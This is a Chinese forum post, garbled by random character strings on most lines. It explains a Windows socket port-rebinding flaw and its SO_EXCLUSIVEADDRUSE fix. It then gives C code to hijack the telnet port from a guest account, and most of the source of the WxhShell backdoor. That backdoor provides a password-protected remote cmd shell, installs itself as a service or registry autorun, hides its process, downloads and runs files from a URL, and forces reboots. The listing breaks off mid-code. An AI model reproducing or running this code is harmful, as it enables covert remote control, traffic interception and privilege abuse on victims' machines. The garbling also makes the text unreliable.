在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^aQ"E9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
j pOp. E]6
6]+;0_ saddr.sin_family = AF_INET;
0V]s:S l%ZhA=TKQ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
tkhCw/ IID5c"
oR bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
)Z$!PqRw@u 67TwPvh 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>/\'zi]L Si,6o!0k 这意味着什么?意味着可以进行如下的攻击:
'yth'[ B *vM0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$(9U @N9E !W0v >p 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
\jA~9 +"(jjxJm 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
zX~MC?,W1 V]N?6\Op 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
"KlwA.7/ *VeRVaBl 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
]k(]qZ d3Rw!slIq 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
^.G$Q# y, AS,%RN^. 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
;=@0'xPEa- -8Xf0_ #include
iLz@5Zj8 #include
23?rEhKe #include
eQ"E #include
h~26WLf. DWORD WINAPI ClientThread(LPVOID lpParam);
N7_"H>O$0U int main()
{!`4iiF {
M;NX:mX9 WORD wVersionRequested;
6RM/GM DWORD ret;
Ie^l~Gb WSADATA wsaData;
9kojLqCT BOOL val;
7KPwQ?SjT SOCKADDR_IN saddr;
$N\Ja*g SOCKADDR_IN scaddr;
V1?]|HTQcT int err;
kLY^! SOCKET s;
ca}2TT&t SOCKET sc;
-+5>|N# int caddsize;
{t!!Uz 7 HANDLE mt;
iUwzs&frd DWORD tid;
H[UlY?&+ wVersionRequested = MAKEWORD( 2, 2 );
nie% eC&U err = WSAStartup( wVersionRequested, &wsaData );
Wf<LR3 if ( err != 0 ) {
I|J/F}@p printf("error!WSAStartup failed!\n");
Mlq.?-QgIL return -1;
DN/YHSYK }
a>)f=uS saddr.sin_family = AF_INET;
w:l"\Tm <or2 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
W l16`9 .KC++\{HE saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
yBRC*0+Vy saddr.sin_port = htons(23);
U3kyraj if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7rPF$ \# {
8] ikygt" printf("error!socket failed!\n");
~v83pu1!2s return -1;
kR9-8I{J }
0Qd:`HF[ val = TRUE;
Jl<2>@ //SO_REUSEADDR选项就是可以实现端口重绑定的
xCKRxF if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
0g\(+Qg^ {
WKU=.sY printf("error!setsockopt failed!\n");
SB7c.H, return -1;
PzGWff!*n }
[:V$y1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
vI]N^j2% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
_~pbqa,
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
5PW^j\G-f 2-b6gc7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
=mGez )T5\ {
MW{8VH6+ ret=GetLastError();
T>GM%^h,7- printf("error!bind failed!\n");
o14cwb return -1;
4 OX^( }
oRzi>rr listen(s,2);
c|1&lYal; while(1)
Ev P{p {
1.X@; caddsize = sizeof(scaddr);
xKC[=E>z //接受连接请求
VD :/PL sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
qCO/?kW if(sc!=INVALID_SOCKET)
O~QB!<Q+ {
`XB
9Mi= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
g1o8._f. if(mt==NULL)
$A`VYJtt# {
fX+O[j printf("Thread Creat Failed!\n");
5Ph4<f` L~ break;
'\GbmD^F }
v}x&?fU ` }
;GI&lpKK CloseHandle(mt);
Z)\@i=m }
4aY|TN/| closesocket(s);
d/Q%IeEL. WSACleanup();
"nWw;-V}} return 0;
ERt{H3eCcJ }
q]M0md DWORD WINAPI ClientThread(LPVOID lpParam)
X76e&~ {
]tDDq=+v SOCKET ss = (SOCKET)lpParam;
~,~eoW7 SOCKET sc;
kwA$Z!Rn unsigned char buf[4096];
{GO#.P" SOCKADDR_IN saddr;
+{UcspqM long num;
9mFE?J DWORD val;
63A.@mL DWORD ret;
Yrn)VV[)h //如果是隐藏端口应用的话,可以在此处加一些判断
$\! 7 {6a //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
,: ->ErP saddr.sin_family = AF_INET;
(~en ( saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|W\(kb+ saddr.sin_port = htons(23);
`#gie$B{ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<o= 8FO {
${)b[22": printf("error!socket failed!\n");
#=v~8 return -1;
YDFyX){ }
(khL-F val = 100;
&f;K}WO if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5^KWCS7@ {
#V}IvQl| ret = GetLastError();
p^u:&Quac return -1;
yOg+iFTr }
O#u=c1
?: if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
I9Fr5p-%O {
9k~8 ret = GetLastError();
~!3r&( return -1;
PzR[KUK }
PY0j9$i? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
o+9j?|M {
w'3iY,_ufC printf("error!socket connect failed!\n");
B~du-Z22IZ closesocket(sc);
%!L9)(}" closesocket(ss);
Ib0ZjX6 return -1;
I0RvnMw }
KK%M~Y+tU' while(1)
TBrPf-Xr {
Fr$5RAyg //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
2wgg7[tGi //如果是嗅探内容的话,可以再此处进行内容分析和记录
V#}kwON //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
6Kb1~jY num = recv(ss,buf,4096,0);
jb;hcraR if(num>0)
r(2uu send(sc,buf,num,0);
Lu0x
(/ else if(num==0)
F*K_+
?m break;
_\HQvH num = recv(sc,buf,4096,0);
4YX3+oS if(num>0)
7`hP?a= send(ss,buf,num,0);
=6#Eh=7N else if(num==0)
IyPnp&_ break;
2,P^n4~A?w }
[ps*uva closesocket(ss);
N{~YJ$!8 closesocket(sc);
BI}Cg{^km return 0 ;
@Pzu^ }
E=w1=,/y "v4B5:bmqW 5Zva: ==========================================================
bNoW?8bZ z%LIX^q9 下边附上一个代码,,WXhSHELL
P_#bow _H=Uwi_g ==========================================================
@k/NY*+ g
SAt@2*U2 #include "stdafx.h"
m7>JJX3=< [\b0Lem #include <stdio.h>
")HFYqP>9 #include <string.h>
~<OSYb #include <windows.h>
L`EBfz\n #include <winsock2.h>
oFGhNk #include <winsvc.h>
{s{j~M #include <urlmon.h>
&q|K!5[k }XM(:|8J, #pragma comment (lib, "Ws2_32.lib")
rI-%be== #pragma comment (lib, "urlmon.lib")
`%Al>u5 *GN#
r11d #define MAX_USER 100 // 最大客户端连接数
Clb@$, #define BUF_SOCK 200 // sock buffer
om-omo&,X= #define KEY_BUFF 255 // 输入 buffer
H&}pkrH~ m<qJcZk #define REBOOT 0 // 重启
=k:,qft2 #define SHUTDOWN 1 // 关机
R#8L\1l Y]u+\y~ #define DEF_PORT 5000 // 监听端口
1\rz%E _M5|Y@XN- #define REG_LEN 16 // 注册表键长度
VD]zz
^ #define SVC_LEN 80 // NT服务名长度
)M//l1 h@]XBv // 从dll定义API
Bv%GJ*>> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Ktm4 A O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
0|\$Vp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Uwx
E<=z typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Y0K[Sm> ?vHU# // wxhshell配置信息
:+|Z@KB struct WSCFG {
X<; f int ws_port; // 监听端口
Jl9k``r* char ws_passstr[REG_LEN]; // 口令
yU}qOgXx int ws_autoins; // 安装标记, 1=yes 0=no
8d-t|HkN char ws_regname[REG_LEN]; // 注册表键名
1"M]3Kl char ws_svcname[REG_LEN]; // 服务名
:e%Pvk char ws_svcdisp[SVC_LEN]; // 服务显示名
1!T1Y,w char ws_svcdesc[SVC_LEN]; // 服务描述信息
YNj`W1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
{9aE5kR int ws_downexe; // 下载执行标记, 1=yes 0=no
=;&yd';k char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
pK'V9fD5J char ws_filenam[SVC_LEN]; // 下载后保存的文件名
#7YY<)
xt} (%W&4a1di };
^7KH _t8 M8b;d}XL // default Wxhshell configuration
dIBE!4 V[ struct WSCFG wscfg={DEF_PORT,
?r 2` Q "xuhuanlingzhe",
LRG6:& 1,
Yv!a88+A8M "Wxhshell",
E6gI,f/p0X "Wxhshell",
]Y8<`;8/ "WxhShell Service",
W+X6@/BO "Wrsky Windows CmdShell Service",
#@~+HC= "Please Input Your Password: ",
B[-v[K2 1,
-rli(RR)| "
http://www.wrsky.com/wxhshell.exe",
7 uKY24 "Wxhshell.exe"
`o8/(`a };
'>ssqBnI
oVfLnI; // 消息定义模块
&,CiM0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
P8)=Kbd char *msg_ws_prompt="\n\r? for help\n\r#>";
o,8TDg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Q_X.rUL0w char *msg_ws_ext="\n\rExit.";
&_|#. char *msg_ws_end="\n\rQuit.";
)vb*Ef char *msg_ws_boot="\n\rReboot...";
zZ323pq char *msg_ws_poff="\n\rShutdown...";
YCM]VDx4u1 char *msg_ws_down="\n\rSave to ";
]cMqahaY f-n1I^| char *msg_ws_err="\n\rErr!";
7.#F,Ue_0T char *msg_ws_ok="\n\rOK!";
R1GEh&U{ 4X
|(5q? char ExeFile[MAX_PATH];
| Aw%zw1@ int nUser = 0;
Qq;Foa
HANDLE handles[MAX_USER];
t+iHQfuP9A int OsIsNt;
%H&@^Tt a $!yW_HTx SERVICE_STATUS serviceStatus;
1@1U/ss1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
=i*;VFc 0dhaAq`k // 函数声明
usCt#eZK int Install(void);
4 k _vdz int Uninstall(void);
.QJ5sgmh int DownloadFile(char *sURL, SOCKET wsh);
c~uKsU int Boot(int flag);
4f'V8|QM{ void HideProc(void);
,+xB$e int GetOsVer(void);
c>RFdc:U int Wxhshell(SOCKET wsl);
q):5JXql~ void TalkWithClient(void *cs);
jQ int CmdShell(SOCKET sock);
&Ao+X=qw int StartFromService(void);
u5: q$P int StartWxhshell(LPSTR lpCmdLine);
/qGf 1MHD ~%=MpQ3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
5r8<7g:>C VOID WINAPI NTServiceHandler( DWORD fdwControl );
q~ZNd3O pd;br8yE$@ // 数据结构和表定义
i?g5_HI SERVICE_TABLE_ENTRY DispatchTable[] =
^xh ; {
LNpup`>` {wscfg.ws_svcname, NTServiceMain},
3ojlB |Z {NULL, NULL}
% <*g!y ` };
1@R
Db)<V d>fkA0G/9! // 自我安装
R:k5QD9/&p int Install(void)
N@1+O,o {
g/+C@_&m char svExeFile[MAX_PATH];
4^~(Mh- Mw HKEY key;
OFv%B/O strcpy(svExeFile,ExeFile);
D \sWZ V(6Z3g // 如果是win9x系统,修改注册表设为自启动
-~30)J=e` if(!OsIsNt) {
Yc
`)R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
N<|Nwq:NN RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lWc:$qnR-K RegCloseKey(key);
)V6Hl@v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
au=o6WRa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Hx*;jpy(2 RegCloseKey(key);
W7\f1}]H return 0;
}w<7.I }
*HO}~A%Lx }
CcFn.omA }
@EpIh& else {
X+S9{X#Cm <55g3>X // 如果是NT以上系统,安装为系统服务
C/kW0V7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"C19b:4H if (schSCManager!=0)
lfz2~Si5A {
fb8g7H| SC_HANDLE schService = CreateService
I}6\Sv= (
t&CJ%XP schSCManager,
PuT@}tw wscfg.ws_svcname,
lq&wXi wscfg.ws_svcdisp,
7Kal"Ew SERVICE_ALL_ACCESS,
0F|AA"mMT SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
r{ef .^&: SERVICE_AUTO_START,
2hkRd>)&5 SERVICE_ERROR_NORMAL,
4V==7p
x( svExeFile,
6qaQ[XTxf NULL,
`_{`l4i5 NULL,
J}+6UlD NULL,
'BPp ]R#{ NULL,
7MHKeLq NULL
V=V:SlS9| );
M&Uj^K1 if (schService!=0)
Q[I=T& {
j|%HIF25 CloseServiceHandle(schService);
y_IM@)1H~ CloseServiceHandle(schSCManager);
;z:UN} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
vIwCJN1C strcat(svExeFile,wscfg.ws_svcname);
:1^R9yWA4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
A"D,Kg
S RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?)X,0P' RegCloseKey(key);
)'%$V%9 return 0;
[4C:r! }
[uls8
"^/j }
;b(p=\i CloseServiceHandle(schSCManager);
,%Up0Rr, }
&PK\|\\2 }
Q|L9gz[? :8+Ni d) return 1;
1/-43B }
)ZqJh a@* S+3 // 自我卸载
4^Q: int Uninstall(void)
$8[r9L!
{
!PJ 6%" HKEY key;
UE ,t8j x{c/$+Z[ if(!OsIsNt) {
4NG?_D5& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
WRDjh7~Efn RegDeleteValue(key,wscfg.ws_regname);
wG<(F}VX RegCloseKey(key);
:!b'Vk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5<j%EQN|D RegDeleteValue(key,wscfg.ws_regname);
LLXVNO@e+ RegCloseKey(key);
P2'DD 3 return 0;
,gOOiB
} }
sWblFvHqrU }
@kU@N?5e }
bk^TFE1l else {
I=9!Rs(QF +d!v}aJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
B0WJ/)rK< if (schSCManager!=0)
ez!C? {
mAW,?h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
'n$%Ls}S if (schService!=0)
z;wELz1L{ {
o b|BXF if(DeleteService(schService)!=0) {
dwd:6.J( CloseServiceHandle(schService);
P*Tx14xe4 CloseServiceHandle(schSCManager);
{aJJ`t return 0;
>Ll$p0W }
@wC5 g 4E CloseServiceHandle(schService);
i'wAE:Xe }
/'DsB%7g CloseServiceHandle(schSCManager);
YH_7=0EJ }
-!L"') }
&F5@6nJ` Bk\Gj`"7 return 1;
z,:a8LB#[ }
njnDW~Snb -7&Gi
+] // 从指定url下载文件
D<X.\})Md int DownloadFile(char *sURL, SOCKET wsh)
D"ehWLj {
Xy &uZ HRESULT hr;
V-r3-b char seps[]= "/";
<u:WlaS char *token;
_#}n~}d char *file;
PF7&p~O(Z char myURL[MAX_PATH];
JA_BKA char myFILE[MAX_PATH];
g{9+O7q -,{-bi strcpy(myURL,sURL);
]B]*/ token=strtok(myURL,seps);
U Gpu\TB while(token!=NULL)
x5WW--YR+ {
4[-*~C|W5 file=token;
ee#):
-p token=strtok(NULL,seps);
fb:j%1WF }
)){9&5,0: IMl!,(6; GetCurrentDirectory(MAX_PATH,myFILE);
^~HQC* strcat(myFILE, "\\");
[j:[ strcat(myFILE, file);
F0UVo send(wsh,myFILE,strlen(myFILE),0);
13&0rLS send(wsh,"...",3,0);
.eO?Z^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
JHJ~X v if(hr==S_OK)
Q\,o:ZU_ return 0;
TbF4/T1b else
|xvy')(b return 1;
0%
#<c p j]m|7] }
ed_FiQd zb
Z4|_ // 系统电源模块
'vaLUy9] int Boot(int flag)
_:B1_rz7, {
rzI|?QaPi HANDLE hToken;
~|AwN [ TOKEN_PRIVILEGES tkp;
r]Ff{la5 @hImk`&[N if(OsIsNt) {
#vqo -y7@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
([VV%ovZ
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ii0Ce}8d~ tkp.PrivilegeCount = 1;
wB{;bB{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/Y2/!mU</ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
F[!ckes<bB if(flag==REBOOT) {
3u\;j; Td! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
iIGbHn,/ return 0;
d@3}U6, }
]}6w#)]" else {
$CE[MZ&S if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
`g1iCF return 0;
Y05P'Q }
}/,CbKi,+ }
on7I
l else {
oq_6L\
~ if(flag==REBOOT) {
EIf~dOgH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
\OpoBXh return 0;
*I?Eb-!t }
T4;T6 9j;, else {
_ZAch zV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;|cTHGxbE return 0;
rBN)a" }
G^1b>K }
"uPy,<l TV}}dw return 1;
h`}3h<
8 }
<_./SC ;!T{%-tP // win9x进程隐藏模块
?n\*,{9 void HideProc(void)
.~gl19#:T {
nB ". '= Jj^GWZRu HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
w_iam qe, if ( hKernel != NULL )
CC3v%^81l^ {
l#wdpD a{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
h
!(>7/Gi ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
zK+52jhi FreeLibrary(hKernel);
OW(&s,|6x }
Ih[+K#t+E Zzl,gy70 return;
-)y%~Zn }
ib0g3p-Lc 'iLH `WE // 获取操作系统版本
{hO`6mr&t int GetOsVer(void)
t=#Pya {
\ U-vI:J_ OSVERSIONINFO winfo;
il:nXpM! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
@oG)LT GetVersionEx(&winfo);
~H}en6Rc if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
H_IGFZ Ch return 1;
)hj|{h7 else
GW2')}g return 0;
s/1 #DM" }
KIVH!2q; 8S;CFyT\n // 客户端句柄模块
]^\8U2q} int Wxhshell(SOCKET wsl)
b r,+45: {
xqHL+W SOCKET wsh;
; W7Y2Md struct sockaddr_in client;
s-VSH DWORD myID;
!1uzX
Kb [[)_BmS5r while(nUser<MAX_USER)
<Jp1A#
%p {
fj'jNE int nSize=sizeof(client);
[Id}4[={e wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
IGAzE( if(wsh==INVALID_SOCKET) return 1;
4o9$bv I2HT2c$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Cj;/Uhs
if(handles[nUser]==0)
rFL$QC2 closesocket(wsh);
396R$\q else
5GAy "Xd nUser++;
swpnuuC- }
(5uJZ!m WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
;' e@t8i6 czBi Dk4 return 0;
xUYow }
oaDsk<(j;R [D'Gr*5~{ // 关闭 socket
3LlU] void CloseIt(SOCKET wsh)
px9>:t[P {
2go> closesocket(wsh);
1=Ilej1 nUser--;
f8:$G.}i ExitThread(0);
p`+VrcCBOd }
z4}
%TT@^ Eo{EKI1 // 客户端请求句柄
Ws49ImCB void TalkWithClient(void *cs)
X$wehMBX {
9|!j4DS< }&G]0hCT! SOCKET wsh=(SOCKET)cs;
IvW@o1Q char pwd[SVC_LEN];
?G/ hJ?3 char cmd[KEY_BUFF];
+CTmcbyOi char chr[1];
}BN\/;<A int i,j;
F$hZRZ Ud3""C5B while (nUser < MAX_USER) {
N5q725zJ ZcZ;$* if(wscfg.ws_passstr) {
j.QHkI1. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
z*.v_Mx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
BQjam+u6 //ZeroMemory(pwd,KEY_BUFF);
&P n] i=0;
Z|`fHO3j while(i<SVC_LEN) {
=%h~/, nN ~GP"} // 设置超时
[a8+( fd_set FdRead;
}#aKFcvg struct timeval TimeOut;
>x'bZ]gm FD_ZERO(&FdRead);
=[(1my7 FD_SET(wsh,&FdRead);
mTEVFm TimeOut.tv_sec=8;
=&0U`P$` TimeOut.tv_usec=0;
o1YU_k<# int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
xVR:;
Jy[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
_9h.Gt [b5(XIGUN} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
t]TyXAr~ pwd
=chr[0]; )DZTB
if(chr[0]==0xd || chr[0]==0xa) { 1-$P0
pwd=0; ~Ob8i 1S>
break; :k1$g+(lP
} Z! YpklZ?~
i++; 4
10:%WGc
} ULvVD6RQ47
&] 3:D
// 如果是非法用户,关闭 socket yzc pG6,
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1 !s28C5u
} *:QXz<_x+
piu0^vEEH
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UpeQOC
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M1uP\Sa
Bz]J=g7
while(1) { $GF&x>]]
HIPL!ss]
ZeroMemory(cmd,KEY_BUFF); kGD|c=K}
mG}k 3e-
// 自动支持客户端 telnet标准 /;+,mp4
j=0; :GM#&*$2<
while(j<KEY_BUFF) { ~_}4jnC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J<_ 1z':W)
cmd[j]=chr[0]; XZ@>]P
if(chr[0]==0xa || chr[0]==0xd) { R`C.ha
cmd[j]=0; ^I./L)0=}
break; X RRJ)}P
} >q &L/N5
j++; fm6]CU1^
} l\U*sro<
;qT5faKB3J
// 下载文件
`GkRmv*
if(strstr(cmd,"http://")) { M+UMR+K
send(wsh,msg_ws_down,strlen(msg_ws_down),0); kh&_#,
if(DownloadFile(cmd,wsh)) e3rfXhp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R1 qMg+
else jf7pl8gv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y\>\[*.v
} !47A$sQ
else { 'WzUu MCx
Q=XA"R
switch(cmd[0]) { $9m5bQcV
htg'tA^CtS
// 帮助 G 4"lZM
case '?': { 0nT%Slbih
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ct.Bg)E
break; b.(XS?4o
} T]X{@_
// 安装 f<=^ 4a
case 'i': { j@V$Mbv
if(Install()) \#_@qHAG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hc
/wta
else ;.r2$/E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }1\?()rB
break; j%GbgJ
} {"\q(R0
// 卸载 ]kH}lr
yG
case 'r': { ;<VR2U`
if(Uninstall()) ujNt(7Cz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vF+YgQ1H
else t*rp3BIG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EUXV/QV{
break; ty9rH=1
} Z#@6#S`
// 显示 wxhshell 所在路径 5#BF,-Jv
case 'p': { mC"7)&,F
char svExeFile[MAX_PATH]; 0.(zTJ
strcpy(svExeFile,"\n\r"); _AAx
)
strcat(svExeFile,ExeFile); 3v G
send(wsh,svExeFile,strlen(svExeFile),0); o[2Y;kP3*P
break; 1y(iE C
} ] :GfOgo
// 重启 6e&g$R
v
case 'b': { Rgs3A)[`d/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yvS^2+jW
if(Boot(REBOOT)) &(WE]ziuO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 78^Y;2 P]W
else { l4DeX\ly7f
closesocket(wsh); SUSc
ExitThread(0); 0ZFB4GL
} ^U"
q|[qy
break; Vzk cZK
} B_b8r7Vn`
// 关机 d[yrNB6|
case 'd': { r \9:<i8
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i~(#S8U4d
if(Boot(SHUTDOWN)) T?ZOHH8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %pd5w~VP
else { ?#U0eb5u
closesocket(wsh); 0\QYf0o
ExitThread(0); |@OJ~5H/{
} O&F<oM
break; nO-d"S*
} 2}GKHC
// 获取shell G)jG!`I
case 's': { [6oq##
CmdShell(wsh); IBzHR[#,^
closesocket(wsh); O5c_\yv=
ExitThread(0); EP/&m|o|G
break; 5wy;8a
} fHW-Je7mG
// 退出 %!>k#F^S
case 'x': { s}Xi2^x
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -%saeX Wo
CloseIt(wsh); @ 8A{ 9i
break; Hu[8HzJo
} r
.{rNR
// 离开 u;$I{b@M]
case 'q': { e1:u1(".
send(wsh,msg_ws_end,strlen(msg_ws_end),0); a"MTQFm'
closesocket(wsh);
Cl%V^xTb
WSACleanup(); "<7$2!
exit(1); nm<L&11
break; p, !1 3X
} (Be$$W
} R
%Rv
} N=hSqw[
3`mC"ab /
// 提示信息 ::kpl2r\c
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B'NS&7+].
} 9)1P+c--
} B b$S^F(Xq
Rv0-vH.n
return; ;:-}z.7Y
} ?S+/QyjcfJ
p{+tFQy
// shell模块句柄 i.B$?cr~
int CmdShell(SOCKET sock) :zRB)hd
{ c-?
Ygr
STARTUPINFO si; 1x^W'n,HtK
ZeroMemory(&si,sizeof(si)); 7
3H@kf
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rGQ86L<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3 (Gygq#
PROCESS_INFORMATION ProcessInfo; `[w}hFl~q
char cmdline[]="cmd"; 2l]C55p)s
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :-W$PIBe
return 0; clij|?O
} 8 ))I$+
Ir'DA_..
// 自身启动模式 *Cc$eR]-
int StartFromService(void) O e0KAn
{ OJh+[bf"
typedef struct w@<<zItSo
{ EU`'
8*4
DWORD ExitStatus; \"<GL;
